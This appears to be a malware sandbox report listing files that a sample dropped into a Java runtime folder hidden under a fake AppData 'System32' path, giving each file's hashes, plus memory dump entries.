javaw.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\javaw.exe
Size 49KB
SHA256 45014e6597b9d9bd8a3726f2af311e70d99488237ce72694b31dcdf8dab680dc
MD5 a31a3cefb03ea4d2b6c57ec8f71676ee
SHA1 27a7222576cdec7b439b18b7008948540559b9a1
SHA512 a02c5fabf9ecc091f40e6ab62cf5b43ad4476fc8ab2979c46f7e1faffc9229606c003b8859fb9599ee62e803f7e9bdd1b64b6b6c2a1fbf6497f4880c9a61b3bf
SSDEEP 768:nHcN52EM5R2TyJ5R3s8D/bkt5Ruz3Vb3a15SYiDLk5kIvsr:HcNRM5RdJ5R3sozkt5RA3a15S7VIvs
TLSH
T1D1337C479A082C81F42F84F198A7352651B4BD032BD1A3FBBDC6F21E4971351A9276DF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jimage.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\jimage.dll
Size 33KB
SHA256 571932f042ece1205492fae4766fbce7332a608aa5b56964a728098b1069ce5c
MD5 fcdb9988648c57629a26c5acadf8b9bc
SHA1 afc368483d4b4f83683d253f43bdb468fdd5bead
SHA512 ccfbf686e9eaa58cca779492e8d7580770f6c230d7825372554390248f6fcfc6adb651aee439d68fd289885226c47dde9c5122f158e9539ef2cbbe9bddd37cba
SSDEEP 384:g55kBR2x3tCn9LD+YuNIppsyvh7GBKtjgNyEIYi2mL4/y8RFvIIvZTDymYY8:gFHCnFDCIppPvh7nVYiDLk5kIvp
TLSH
T129F27C56E6841C99D92BE538C4AB9A2FE6B5F9525F50C3CB2720825E0F333813F58392
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jli.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\jli.dll
Size 82KB
SHA256 4fc03971a1619ca8661d75b79e9fa81799909427bd2578ab327e84be4c3037dc
MD5 ee2852aa3d1780fe2eaf7ecc5f8dca4d
SHA1 c242684026ceca14ea30fe4163f3da16cc820d7d
SHA512 6ca9140bc5187047eb6c5ee01e89ddb37b819749ddb293c1185d4fbb497bf512083305cdd54e402c3fb3128a7b3dfa32358bcccee984fa3fbd441b7d1e81801d
SSDEEP 1536:HNomBq7yzXdsmHca6W3g9vWIOF6fOU8jX7VIvPf:to2q0XKmHB3TF6GUwX+vPf
TLSH
T1D6837D5A539011E4DEB78178D9B4960FC3F2B0653761838F13AC85EA0FB36623E19BD9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

management.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\management.dll
Size 29KB
SHA256 21bdbb028a3a5923c7823a489e55380c9787fbf81fd081012300f308ecc07d8e
MD5 99fb1affd08cf6a5edb33f391fbf734a
SHA1 66bd11d3c5099fe12f4f293114785037f5f5a9de
SHA512 2ad16a457cce3c5c208c1e855bfeb5e88552dcfca56598f46cba962991938186e53477ce77e6efd6d958c5afda73b99a72b2cd863a22d93dd616a708353d3ae3
SSDEEP 384:6pbNotjLZjW6OIzz2V20y/cEWsuGttmbNyEIYi2mL4/y8RFvIIvZ2kTHPIVD0:wbNYZAI3SZEWefYiDLk5kIv3bI
TLSH
T1ECD23A12A65C6445E5DFB575B0A006369BB3B5C21FC193871670C63C4BBBFE2363827A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

management_ext.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\management_ext.dll
Size 35KB
SHA256 c0e84b76c5218a4a5fafb1f1d8adda3ab49e2dc52167b79c5333d7c20ec726a5
MD5 ace33790ad457af40fd6dccf8000106a
SHA1 595308be3e8401285520ee2bc47cb6902b7c0a55
SHA512 4804ec295231387d1a4d191433e78c7f4b84628341b8803a6b496bae61bd658a94162d4f3ddc8c09cf72d6ae03c21cedd90848d7805aa6efc53a4b1b3730faac
SSDEEP 768:hSYRNsARpr+9UF+ixkAfREpiqYiDLk5kIvJ:FRaARL+bA2oq7VIv
TLSH
T173F26C6B97AC0887F84BA575A0511A37D1B2746322A2C3CF53A0C62A4FB37537B6C359
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msvcp140.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\msvcp140.dll
Size 561KB
SHA256 a4c2229bdc2a2a630acdc095b4d86008e5c3e3bc7773174354f3da4f5beb9cde
MD5 72f3d84384e888bf0d38852eb863026b
SHA1 8e6a0257591eb913ae7d0e975c56306b3f680b3f
SHA512 6d53634bc51bd383358e0d55988d70aee6ed3897bc6ae5e0d2413bed27ecff4c8092020682cd089859023b02d9a1858ac42e64d59c38ba90fbaf89b656c539a6
SSDEEP 12288:rSTTigI46Bb3SUPvRgrKtzL4oaQEKZm+jWodEEVPLwtQB:rUStZaQEKZm+jWodEE9CQB
TLSH
T1B9C41A23B74905A0E195E3B8A1878316D7F1BC4A8312A3C792FBD66D2F673D1673B250
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

net.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\net.dll
Size 59KB
SHA256 f40746f7a571db1a73d0963464cbcca86f402699827a2019f2d401c54b2e31bc
MD5 f222abcaec601dceef3a81c71dd31f61
SHA1 7f1c76f54fb732c29a9a2b35fc0b6c961a19f962
SHA512 8751ea703f3160d613a2b587a25ace62937bb1de0743e9b28ae82aca7617c0c29afc93039eb527e76a67da6056b858c8e246b80f795416e8dbabc56e5529276b
SSDEEP 1536:OC1z7R0OBwv3XteSDJkt4ZLWiyb1dnD+GViE7VIv:bz7G/1kt2cdnDnViE+v
TLSH
T189536D06979414C5E827C678C6674A1BCBB2F4A0725083DF03B9C56E6FE73B27B29781
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nio.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\nio.dll
Size 79KB
SHA256 3f49f3f46ece497fe8adb2a071a405e53d728fc09198148e65b839f34666a6d2
MD5 dde1c5e7e3dfb948ae4ab9d4f299b97a
SHA1 eaf4288aff46c4cf4e10c92e18d39039f3c462ef
SHA512 1489ee2bc81dc008c81b346cf780a56c45789a20b66dfec7efe3fa6deabe9cb88c70f89712b5b6b222e0b5bdf2270ae3b4644870bc69647baf68c6323708641f
SSDEEP 1536:N72Yp5yt/WuKq/b94c8LIH04zRwYEpdqDRsR7VIv:d1WMyb9VLzRJEpdG6R+v
TLSH
T167832AA25764889BE87A7238429A574BF273FC115510935F5328CB169F1F2B33E3E782
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

classes.jsa

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\server\classes.jsa
Size 15.2MB
SHA256 7fad759884388b610b3cc79ccb35bf9b5e379a397413355ae9e50bc7061990d8
MD5 1657d50bbd660645e14946656f65859b
SHA1 c06bde671aaead99be2fb64240682fc4fe281f10
SHA512 6f9053e3eabd5c92e5882d870940e0232381cab3b198c030eec46c9e24f9c7a5cdc9c67590f060a19af6b7c68d756c28db2c504946e709d0b586153ad88c48bd
SSDEEP 49152:IqtNNHWz83F8kSPxe+++xn6R90QfbaBNFZyFJoLfsYAjDskwZnoK5cjhgTbvSoN3:IqryzQwqLLyWN1wkYI7wqAQB
TLSH
T1B3F6E917F6844AA3DC3D8A7488E6C3542732E479AB8787033DD0936DEDD31CA4E668D9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jvm.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\server\jvm.dll
Size 14.7MB
SHA256 cc41822287eaee64f23763819100155b3a2bd55768bffd45c67be03dbbe91520
MD5 89414281a6a8cd8ce4973a3d19c9f29e
SHA1 7a99bf28c9b95d1f2b4e39aa6fad6b06dbeb2ecb
SHA512 6bb1964f33537a001fa575e809fb0715ee5522f2b5bea9ee19519b9e0ca61550598cef17ada9438a9112d9381839e78a4cf2c879b2a6aa53565520a1ccbdd310
SSDEEP 393216:glevF06MNTtv5hj/uKB60V9I0jrJEvLmvcJ1dYG0VJvY10+TLCqD4cIzFuiTr1Pn:GwK
TLSH
T1DEF66B57B7B440A8E427C178C7278A0BD7F2B9A4877097CB55B4066E1F13BE6693E320
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sunmscapi.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\sunmscapi.dll
Size 48KB
SHA256 bed51b29b1a0b9eb5470b514e5c5ec87dca138cce4c19d9f0bbf3a229dc835ff
MD5 e858ace24eba4bfd5a880354b689af81
SHA1 eafc587acd0308e936c28619838f315e23b3c2b3
SHA512 a508da62cfad0ecd897bb7bebf93a14beb983630ecad40f5a604fd9b0f4efb4516eb484c2deb0eba1641b6acf0eefdd0f5502029bb0bb1a379107a54323daa6e
SSDEEP 768:F7f8ee/Ak7Hr3QXJS6SeZU18iRs0myCdum/eIQwYiDLk5kIvR:pf9fqrr18iRs0mBduWeIQw7VIvR
TLSH
T165235B0BC7A104D5EC63C8BCC02A561BEAB1B9865121D7CF1361CA1D9FA6BB1B73C751
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcruntime140_1.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\vcruntime140_1.dll
Size 48KB
SHA256 7dd9aa02e271c68ca6d5f18d651d23a15d7259715af43326578f7dde27f37637
MD5 2bd576cbc5cb712935eb1b10e4d312f5
SHA1 dfa7a46012483837f47d8c870973a2dea786d9ff
SHA512 abbd3eb628d5b7809f49ae08e2436af3d1b69f8a38de71ede3d0cb6e771c7758e35986a0dc0743b763ad91fd8190084ee5a5fbe1ac6159eb03690ccc14c64542
SSDEEP 768:IzzO6ujT3MbR3vXCz6S5Mq83yJ9d3+DuO9zUgElq9z6m:Fq/XuA3o9dgzUZWz5
TLSH
T17C235C9457784086D59F95B0C1D6EE537E7CFA964B00928F0BA1E1882F637D0EB3D22B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zip.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\zip.dll
Size 80KB
SHA256 7e638b6e96d6b644fa6c2cbf85a7ae29c208d34858250349b98e222de5b83482
MD5 6ac168cb7e6766f7e8b8264406a7f62b
SHA1 05f8e75d047bc19736a849063d7e25daa80b8d2c
SHA512 aa3f20f55533b1e24b54dc0c41ec5265ed1aa634a9ab482aaca225789b5530e37370219b661894126c1d98d2b793ebb7caccfcb482b64e8973801d65ae04f6bd
SSDEEP 1536:Mr6rmxTSQDn3R8fW5QmahAKoZkIOmQ4ev7VIv:Mr6rmxW0n3Of9AVKmQ5v+v
TLSH
T18C839C9589A05061DEFB9670C9F65B2FD3BAB0112691478F6398835A2F533213F4C3FA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

logging.properties

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\conf\logging.properties
Size 2KB
SHA256 8590633e1e8a7d88ffe74cc04189c5c61b1ed4703180cbc851dcd5575efcce74
MD5 c4b74648f229c4b7e62a1061ee1dc3f0
SHA1 5795edcb624326bbefdedcdb6a11d9c18071d8ce
SHA512 76ea95402f64947c2784f1f8d0857f0d7c963285ae9ebcd9f5cb407d83a14e4da6d14aeb8641c9d9b1c92af4493a4b10e52ad6efda7ae47f265d43df6b4002d0
TLSH
T13251FE5E9B4E2D35430E00AA5A7FF6527E1898BD1C23A5F6B35E6304321D43485DBBC2
MD5 SHA1 SHA512 TLSH

Submit Download

net.properties

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\conf\net.properties
Size 7KB
SHA256 594bc40230a0bd7c441fe069989d66e534a6bae2ee5910f9f4bf64e59b583256
MD5 1f251a36eb37913b696b5be5595e1cd0
SHA1 412fed5d460c414583b16f41e1ebe4262c239af1
SHA512 7a24d898e68c2a7f229220074c510910e7257dd11be33cece3ed4f630552934f6968aa310bcf956a30baf610528cd251f233bad32fd0921ece2c171a7154e2a5
SSDEEP 192:/LVGG4f4z346et5m27Sn1gTe93hf7k9SrnF:ZGxYCU1gY3hzk9+F
TLSH
T142E17283BF46B7354399C291E21EA7EEE32C913D4C33B5B831AC850D2619C76427F4A6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

java.security

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\conf\security\java.security
Size 72KB
SHA256 a86d4ca2038d0978d8b539224e9d60ff55b475fee2e6d113ee24c8a60852c70b
MD5 25fcce9d59b4dd156d532ca47a742597
SHA1 eab689f234879082366530e25737fad0f2983010
SHA512 efa421a738ae79056fb68dbda14aade554f984b110fcc88f4e1144eab3699900d981f3875f6497a731b1a58d1bf0c3bbc6e589302f897608a9b50e6629886267
SSDEEP 1536:rQMy8R78MRjJPFp5/LTNHu1UoQ2k/gl0ug6YilNndOcA2ZIYy60:J8MfPFD/LTNO1UoQDHiDndOcKp
TLSH
T12673D522BB897B7206F211A363AEF1D9F76DA12A22325154748D420C7326F71C3776E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

default_US_export.policy

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\conf\security\policy\unlimited\default_US_export.policy
Size 146B
SHA256 758b930a526fc670ab7537f8c26321527050a31f5f42149a2dda623c56a0a1a9
MD5 1a08ffdf0bc871296c8d698fb22f542a
SHA1 f3f974d3f6245c50804dcc47173aa29d4d7f0e2c
SHA512 4cfca5b10cd7addcff887c8f3621d2fbec1b5632436326377b0ce5af1ae3e8b68ac5a743ca6082fc79991b8eec703a6e1dfd5b896153407ad72327753222fdb3
TLSH
T178C02B07BB17D0F800D0EF4617B57916B1701E89B0A1121CFA00C2A41EDC6108330394
MD5 SHA1 SHA512 TLSH

Submit Download

default_local.policy

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\conf\security\policy\unlimited\default_local.policy
Size 193B
SHA256 8d8a318e6d90dfd7e26612d2b6385aa704f686ca6134c551f8928418d92b851a
MD5 2a0f330c51aff13a96af8bd5082c84a8
SHA1 ad2509631ed743c882999ac1200fd5fb8a593639
SHA512 2b0385417a3fc2af58b1cbb186dd3e0b0875e42923884153deee0efcb390ca00b326ed5b266b3892d31bf7d40e10969a0b51daa6d0b4ca3183770786925d3cde
TLSH
T14EC0C02DFF9BE2BD44F0AF4623B15485703912473092031CF24583C43EDC580C2306A8
MD5 SHA1 SHA512 TLSH

Submit Download

jvm.cfg

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\lib\jvm.cfg
Size 29B
SHA256 aa9efb969444c1484e29adecab55a122458090616e766b2f1230ef05bc3867e0
MD5 7ce21bdcfa333c231d74a77394206302
SHA1 c5a940d2dee8e7bfc01a87d585ddca420d37e226
SHA512 8b37a1a5600e0a4e5832021c4db50569e33f1ddc8ac4fc2f38d5439272b955b0e3028ea10dec0743b197aa0def32d9e185066d2bac451f81b99539d34006074b
MD5 SHA1 SHA512

Submit Download

blocked.certs

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\lib\security\blocked.certs
Size 2KB
SHA256 583500b76965eb54b03493372989ab4d3426f85462d1db232c5ae6706a4d6c58
MD5 8273f70416f494f7fa5b6c70a101e00e
SHA1 aeaebb14fbf146fbb0aaf347446c08766c86ca7f
SHA512 e697a57d64ace1f302300f83e875c2726407f8daf7c1d38b07ab8b4b11299fd698582d825bee817a1af85a285f27877a9e603e48e01c72e482a04dc7ab12c8da
TLSH
T1CC512CCAD15E02DA9D407BE208EC82A7779381B2AB2C442A2BF60F420577C5DD73B8C5
MD5 SHA1 SHA512 TLSH

Submit Download

cacerts

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\lib\security\cacerts
Size 183KB
SHA256 c3ca801bfc5d9f9e50c69f55537e78dc83e4e50c1ddea30db81e4b672b5a8aee
MD5 faf363df278f33274379e7b3741ea02c
SHA1 c3c9de883fdcd6f94b6617dbbf72db916cd69fb4
SHA512 cc91b77fb5cfd6f2f4cd16cc4f70ed34ee2f052c8d82a20e428cad04e8278f95a67b131f568ebc4e7eda035a9ca7a5e2ede2fbb3f8b2d2f9d6e2928dd4287def
SSDEEP 3072:XCW6ba9dYD+4alMwjhShvDPKwiNgsQyAQpNYFVQ/JKtwnGlmpIaG9lmXPBTiMLW1:yW6GcD+Ty3i5Lgsz5TqQr7VsJ25pG
TLSH
T16504394B9FBD2409BFF29F04A598DA236D76BBE22D59D42B101180DD1961F90BC9833F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tzdb.dat

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\lib\tzdb.dat
Size 100KB
SHA256 36cf71e63ce2816fe4456e9195e6c27fa7c9cd431c89ba762eba394ec2c7a1e3
MD5 df8a313edca47a1b2537b7ec047ce4de
SHA1 449cd5af08a45e2b017e670b3df9c8bf06de0c7e
SHA512 7c4c67d5793bdbf3f9b7dec1360b9278ad7206e66f6917568e2fc04e0fbc019b504edc35870eae143f9f313d5b7eca81404d5c4783c7fc61e0f8a1ec1d18e36e
SSDEEP 1536:N0ExeF88hPdr92L674jAGubVj0Lg/////UzJbPdJPNL0mIT/M4Z3jyxU:NPeq8hPdrcWzbVj0hJzdxuT/5ToU
TLSH
T149A3C4B57F7150B7B2CB8122262B5B93097DAC816FC3084675B4BD4E8A76AD7203335E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tzmappings

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\lib\tzmappings
Size 15KB
SHA256 3929ab1380771d0d542d91cfbae02ce519a76678f5f63813739a6c6b98dc6d72
MD5 f2c6e7d7e1856acd650426427dc72cbd
SHA1 42fcb6d986381170cdef3aeaaf9f8ddc124fdec0
SHA512 3fff765acea8b4b2f1d01ee080920db815212ef05a75832a4a01e174886544b1320f85229d43d5077e050bf8309a2d467d784e828b82cfd095fa1caca7780b35
SSDEEP 192:LQW46R4S2t0ZvH4LacPZ5E1DBMpLcnyhAXnEo2nh+E4:LQW46R4jtavQSRqwSL4
TLSH
T15F622585B06622E4C073EC0D3F227AD3F886F3C49AC69A4D2953C366BD059B766D5837
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

release

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\release
Size 1KB
SHA256 de67b271327ff2059d2cd4ee0d94fa9e4387af18f0cfaf700504f091a3a4113e
MD5 bfe352f2b65bf8e26746b23b00051faa
SHA1 c92ed174bee5239df9cd5422d48a5776eb8f78ca
SHA512 8fc2f369f8709e63a14f2000f7045d367b7f989f2cf71cc13549608677b2cc2a02abcf6089267035fcc8042eb615977f5daf688334dff9d3d686d30d292f1862
TLSH
T14E31446FD01E48B44F9503C26458846FF2DD9A3A45C2BCA4BF479584F0B6AB3C7AC21A
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2852-627-0x00007FFC32390000-0x00007FFC3239F000-memory.dmp

Download

memory/2852-634-0x00000253CAF90000-0x00000253CB042000-memory.dmp

Download

memory/2852-635-0x00000253E43A0000-0x00000253E43AA000-memory.dmp

Download

memory/2852-636-0x00000253E43E0000-0x00000253E440A000-memory.dmp

Download

memory/2852-637-0x00000253E43E0000-0x00000253E4404000-memory.dmp

Download

memory/2852-633-0x00000253CAF70000-0x00000253CAF8E000-memory.dmp

Download

memory/2852-630-0x00000253CAEB0000-0x00000253CAED2000-memory.dmp

Download

memory/2852-626-0x00000253CAC20000-0x00000253CAC2F000-memory.dmp

Download

memory/5808-644-0x000001F37F1F0000-0x000001F37F2A2000-memory.dmp

Download